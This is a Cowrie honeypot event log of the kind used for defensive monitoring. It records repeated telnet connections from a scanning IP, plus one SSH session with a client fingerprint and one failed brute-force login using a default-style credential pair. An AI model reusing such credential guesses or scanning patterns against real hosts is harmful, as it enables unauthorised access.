{"eventid":"cowrie.session.closed","duration":32.05610680580139,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:55.021151Z","src_ip":"207.180.228.157","session":"fa98d0b37307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45488,"dst_ip":"159.203.135.109","dst_port":23,"session":"f77637d2c62e","protocol":"telnet","message":"New connection: 207.180.228.157:45488 (159.203.135.109:23) [session: f77637d2c62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:55.132665Z"}
{"eventid":"cowrie.session.closed","duration":31.735692024230957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:55.406339Z","src_ip":"207.180.228.157","session":"ebdce8eb197e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.516129732131958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.038048Z","src_ip":"207.180.228.157","session":"36cd83e79a17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45496,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a5b5138ae8","protocol":"telnet","message":"New connection: 207.180.228.157:45496 (159.203.135.109:23) [session: 86a5b5138ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.176243Z"}
{"eventid":"cowrie.session.closed","duration":31.991222143173218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.211805Z","src_ip":"207.180.228.157","session":"70c027ba273a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45504,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e0dae1fef4","protocol":"telnet","message":"New connection: 207.180.228.157:45504 (159.203.135.109:23) [session: c9e0dae1fef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.275474Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45516,"dst_ip":"159.203.135.109","dst_port":23,"session":"38bd901265c0","protocol":"telnet","message":"New connection: 207.180.228.157:45516 (159.203.135.109:23) [session: 38bd901265c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.334663Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45524,"dst_ip":"159.203.135.109","dst_port":23,"session":"cce18f4da3df","protocol":"telnet","message":"New connection: 207.180.228.157:45524 (159.203.135.109:23) [session: cce18f4da3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.486182Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45528,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c77fa39620e","protocol":"telnet","message":"New connection: 207.180.228.157:45528 (159.203.135.109:23) [session: 6c77fa39620e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:56.503767Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45540,"dst_ip":"159.203.135.109","dst_port":23,"session":"b685f5bc98fa","protocol":"telnet","message":"New connection: 207.180.228.157:45540 (159.203.135.109:23) [session: b685f5bc98fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:58.152551Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45548,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ad0168283b4","protocol":"telnet","message":"New connection: 207.180.228.157:45548 (159.203.135.109:23) [session: 4ad0168283b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:58.620466Z"}
{"eventid":"cowrie.session.closed","duration":31.28517508506775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:58.939419Z","src_ip":"207.180.228.157","session":"325410a0526f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45560,"dst_ip":"159.203.135.109","dst_port":23,"session":"13cecf128c64","protocol":"telnet","message":"New connection: 207.180.228.157:45560 (159.203.135.109:23) [session: 13cecf128c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:59.236715Z"}
{"eventid":"cowrie.session.closed","duration":31.268030643463135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:59.328744Z","src_ip":"207.180.228.157","session":"d47bb5249c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45574,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d8712f56e5","protocol":"telnet","message":"New connection: 207.180.228.157:45574 (159.203.135.109:23) [session: b6d8712f56e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:59.588547Z"}
{"eventid":"cowrie.session.closed","duration":31.53522515296936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:00.378602Z","src_ip":"207.180.228.157","session":"2b2dd8c2d1bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29084300994873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:01.531507Z","src_ip":"207.180.228.157","session":"5ba96597f987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45582,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a42e661724","protocol":"telnet","message":"New connection: 207.180.228.157:45582 (159.203.135.109:23) [session: 15a42e661724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:02.015234Z"}
{"eventid":"cowrie.session.closed","duration":31.100837469100952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:02.113656Z","src_ip":"207.180.228.157","session":"dc686064fd2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45594,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2ed939dbb4d","protocol":"telnet","message":"New connection: 207.180.228.157:45594 (159.203.135.109:23) [session: c2ed939dbb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:02.440594Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3041ed8488c6","protocol":"telnet","message":"New connection: 207.180.228.157:45608 (159.203.135.109:23) [session: 3041ed8488c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:02.553088Z"}
{"eventid":"cowrie.session.closed","duration":31.13710880279541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:02.722091Z","src_ip":"207.180.228.157","session":"29b68c2e1581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72022795677185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:02.727359Z","src_ip":"207.180.228.157","session":"ec18f7fc4852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173972606658936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:03.821214Z","src_ip":"207.180.228.157","session":"f3e89e1beeda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106797218322754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:04.170650Z","src_ip":"207.180.228.157","session":"3a6277647806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.624522924423218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:04.268978Z","src_ip":"207.180.228.157","session":"d6c8bb630695","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10472893714905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:05.026671Z","src_ip":"207.180.228.157","session":"d5280739200e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36910,"dst_ip":"159.203.135.109","dst_port":23,"session":"80934e02437e","protocol":"telnet","message":"New connection: 207.180.228.157:36910 (159.203.135.109:23) [session: 80934e02437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:05.387639Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36912,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e587cf046d","protocol":"telnet","message":"New connection: 207.180.228.157:36912 (159.203.135.109:23) [session: d3e587cf046d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:05.580776Z"}
{"eventid":"cowrie.session.closed","duration":31.176151990890503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:05.939693Z","src_ip":"207.180.228.157","session":"dfd1f7adb3cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640931844711304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:06.190897Z","src_ip":"207.180.228.157","session":"27d845a855d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36914,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f3f18699922","protocol":"telnet","message":"New connection: 207.180.228.157:36914 (159.203.135.109:23) [session: 3f3f18699922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:06.296459Z"}
{"eventid":"cowrie.session.closed","duration":32.03978896141052,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:06.320806Z","src_ip":"207.180.228.157","session":"5e20ae9f4599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":42032,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f45ad01f674","protocol":"ssh","message":"New connection: 59.17.95.129:42032 (10.17.0.5:22) [session: 0f45ad01f674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:07.225747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:07.230411Z","src_ip":"59.17.95.129","session":"0f45ad01f674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:07.432369Z","src_ip":"59.17.95.129","session":"0f45ad01f674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"toor","message":"login attempt [ali/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:08.283882Z","src_ip":"59.17.95.129","session":"0f45ad01f674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36930,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6ed62c2471","protocol":"telnet","message":"New connection: 207.180.228.157:36930 (159.203.135.109:23) [session: ca6ed62c2471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:08.319675Z"}
{"eventid":"cowrie.session.closed","duration":31.22316575050354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:08.333059Z","src_ip":"207.180.228.157","session":"dbe071ddf9e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002570867538452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:08.867170Z","src_ip":"207.180.228.157","session":"0beca564f33d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:09.489043Z","src_ip":"59.17.95.129","session":"0f45ad01f674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.465388536453247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:10.443980Z","src_ip":"207.180.228.157","session":"67f6fb76ebe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41224431991577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:10.903116Z","src_ip":"207.180.228.157","session":"1d82d844c0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c931d9b53d2d","protocol":"telnet","message":"New connection: 207.180.228.157:36940 (159.203.135.109:23) [session: c931d9b53d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:11.088876Z"}
{"eventid":"cowrie.session.closed","duration":30.6821608543396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:11.111439Z","src_ip":"207.180.228.157","session":"3b20f0bf9107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.595632791519165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:11.956906Z","src_ip":"207.180.228.157","session":"94b2a5fea4ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.486791610717773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:12.560581Z","src_ip":"207.180.228.157","session":"3f67f10f0006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"38697c70c4a5","protocol":"telnet","message":"New connection: 207.180.228.157:36956 (159.203.135.109:23) [session: 38697c70c4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:12.857073Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36970,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb56affe7bd","protocol":"telnet","message":"New connection: 207.180.228.157:36970 (159.203.135.109:23) [session: 8fb56affe7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:13.772447Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55762,"dst_ip":"159.203.135.109","dst_port":23,"session":"e97383df084f","protocol":"telnet","message":"New connection: 207.180.228.157:55762 (159.203.135.109:23) [session: e97383df084f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:15.040849Z"}
{"eventid":"cowrie.session.closed","duration":30.671839952468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:15.133817Z","src_ip":"207.180.228.157","session":"2abc7c6c019f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"292119ffe304","protocol":"telnet","message":"New connection: 207.180.228.157:55778 (159.203.135.109:23) [session: 292119ffe304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:15.621917Z"}
{"eventid":"cowrie.session.closed","duration":31.454288244247437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:15.883237Z","src_ip":"207.180.228.157","session":"3213a66439be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cfc8aa2c23b","protocol":"telnet","message":"New connection: 174.138.46.234:36166 (159.203.135.109:23) [session: 5cfc8aa2c23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:15.953783Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36216,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c74bbae0a74","protocol":"telnet","message":"New connection: 174.138.46.234:36216 (159.203.135.109:23) [session: 1c74bbae0a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:16.076952Z"}
{"eventid":"cowrie.session.closed","duration":30.705158472061157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:16.309002Z","src_ip":"207.180.228.157","session":"9245e6eda58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55782,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba1d3511cf1e","protocol":"telnet","message":"New connection: 207.180.228.157:55782 (159.203.135.109:23) [session: ba1d3511cf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:16.862365Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55790,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a8d6e0edc37","protocol":"telnet","message":"New connection: 207.180.228.157:55790 (159.203.135.109:23) [session: 4a8d6e0edc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:17.275307Z"}
{"eventid":"cowrie.session.closed","duration":30.788354635238647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:17.316732Z","src_ip":"207.180.228.157","session":"e8a9ef99406f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.779232025146484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:17.384531Z","src_ip":"207.180.228.157","session":"841b64af1f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55800,"dst_ip":"159.203.135.109","dst_port":23,"session":"adff059e3161","protocol":"telnet","message":"New connection: 207.180.228.157:55800 (159.203.135.109:23) [session: adff059e3161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:17.511974Z"}
{"eventid":"cowrie.session.closed","duration":31.300255298614502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:17.913342Z","src_ip":"207.180.228.157","session":"bdd4a08d7800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72938871383667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:18.633761Z","src_ip":"207.180.228.157","session":"80f6bf721530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ce009bee30e","protocol":"telnet","message":"New connection: 207.180.228.157:55806 (159.203.135.109:23) [session: 0ce009bee30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:18.831487Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55810,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68ec963e94d","protocol":"telnet","message":"New connection: 207.180.228.157:55810 (159.203.135.109:23) [session: b68ec963e94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:18.989987Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55824,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f9e84463d00","protocol":"telnet","message":"New connection: 207.180.228.157:55824 (159.203.135.109:23) [session: 1f9e84463d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:19.534270Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55826,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb9e0badcd4","protocol":"telnet","message":"New connection: 207.180.228.157:55826 (159.203.135.109:23) [session: 9bb9e0badcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:20.533919Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55840,"dst_ip":"159.203.135.109","dst_port":23,"session":"975eb837985f","protocol":"telnet","message":"New connection: 207.180.228.157:55840 (159.203.135.109:23) [session: 975eb837985f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:20.713584Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"adf4dc6b8f99","protocol":"telnet","message":"New connection: 207.180.228.157:55848 (159.203.135.109:23) [session: adf4dc6b8f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:21.005769Z"}
{"eventid":"cowrie.session.closed","duration":31.187009811401367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:21.454133Z","src_ip":"207.180.228.157","session":"ddb6b02f5021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55862,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b2ebe00ab3","protocol":"telnet","message":"New connection: 207.180.228.157:55862 (159.203.135.109:23) [session: b1b2ebe00ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:21.472112Z"}
{"eventid":"cowrie.session.closed","duration":5.811572790145874,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:21.765196Z","src_ip":"174.138.46.234","session":"5cfc8aa2c23b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":55876,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa68ed1831df","protocol":"telnet","message":"New connection: 207.180.228.157:55876 (159.203.135.109:23) [session: fa68ed1831df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:22.292804Z"}
{"eventid":"cowrie.session.closed","duration":30.890989065170288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:22.384805Z","src_ip":"207.180.228.157","session":"f86476e39911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174715518951416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:22.519740Z","src_ip":"207.180.228.157","session":"24bb080834ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191144704818726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:07:22.524447Z","src_ip":"207.180.228.157","session":"ac971e75b0e0","protocol":"telnet"}
